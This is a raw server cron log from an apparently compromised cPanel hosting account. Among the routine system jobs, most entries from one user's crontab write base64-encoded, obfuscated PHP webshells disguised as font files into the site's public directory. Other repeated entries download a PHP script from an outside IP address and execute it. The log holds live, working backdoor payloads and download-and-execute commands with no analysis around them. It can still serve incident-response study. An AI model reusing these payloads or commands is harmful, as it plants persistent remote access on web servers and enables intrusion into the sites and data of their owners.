Sep  1 15:52:01 ip-184-168-122-23 CROND[17573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:52:01 ip-184-168-122-23 CROND[17574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:52:01 ip-184-168-122-23 CROND[17575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:52:01 ip-184-168-122-23 CROND[17577]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:52:01 ip-184-168-122-23 CROND[17578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:53:01 ip-184-168-122-23 CROND[17743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:53:01 ip-184-168-122-23 CROND[17744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:53:01 ip-184-168-122-23 CROND[17746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:53:01 ip-184-168-122-23 CROND[17747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:54:01 ip-184-168-122-23 CROND[17831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:54:01 ip-184-168-122-23 CROND[17834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:54:01 ip-184-168-122-23 CROND[17835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:54:01 ip-184-168-122-23 CROND[17836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:54:01 ip-184-168-122-23 CROND[17833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:55:01 ip-184-168-122-23 CROND[17943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:55:01 ip-184-168-122-23 CROND[17944]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:55:01 ip-184-168-122-23 CROND[17945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:55:01 ip-184-168-122-23 CROND[17946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:55:01 ip-184-168-122-23 CROND[17947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:55:01 ip-184-168-122-23 CROND[17950]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:56:01 ip-184-168-122-23 CROND[18048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:56:01 ip-184-168-122-23 CROND[18050]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:56:01 ip-184-168-122-23 CROND[18051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:56:01 ip-184-168-122-23 CROND[18052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:56:01 ip-184-168-122-23 CROND[18053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:57:01 ip-184-168-122-23 CROND[18141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:57:01 ip-184-168-122-23 CROND[18144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:57:01 ip-184-168-122-23 CROND[18143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:57:01 ip-184-168-122-23 CROND[18142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:58:01 ip-184-168-122-23 CROND[18230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:58:01 ip-184-168-122-23 CROND[18231]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:58:01 ip-184-168-122-23 CROND[18236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:58:01 ip-184-168-122-23 CROND[18235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:58:01 ip-184-168-122-23 CROND[18238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:59:01 ip-184-168-122-23 CROND[18350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:59:01 ip-184-168-122-23 CROND[18351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:59:01 ip-184-168-122-23 CROND[18353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:59:01 ip-184-168-122-23 CROND[18354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:00:01 ip-184-168-122-23 CROND[18493]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 16:00:01 ip-184-168-122-23 CROND[18496]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:00:01 ip-184-168-122-23 CROND[18500]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:00:01 ip-184-168-122-23 CROND[18501]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:00:01 ip-184-168-122-23 CROND[18502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:00:01 ip-184-168-122-23 CROND[18499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:00:01 ip-184-168-122-23 CROND[18503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:00:01 ip-184-168-122-23 CROND[18508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:00:01 ip-184-168-122-23 CROND[18504]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 16:01:01 ip-184-168-122-23 CROND[18684]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18684]: starting 0anacron
Sep  1 16:01:01 ip-184-168-122-23 CROND[18692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:01:01 ip-184-168-122-23 CROND[18691]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 16:01:01 ip-184-168-122-23 CROND[18690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:01:01 ip-184-168-122-23 CROND[18694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:01:01 ip-184-168-122-23 CROND[18695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18703]: finished 0anacron
Sep  1 16:02:01 ip-184-168-122-23 CROND[18796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:02:01 ip-184-168-122-23 CROND[18801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:02:01 ip-184-168-122-23 CROND[18799]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:02:01 ip-184-168-122-23 CROND[18798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:02:01 ip-184-168-122-23 CROND[18800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:03:01 ip-184-168-122-23 CROND[18890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:03:01 ip-184-168-122-23 CROND[18891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:03:01 ip-184-168-122-23 CROND[18892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:03:01 ip-184-168-122-23 CROND[18893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:04:01 ip-184-168-122-23 CROND[18987]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
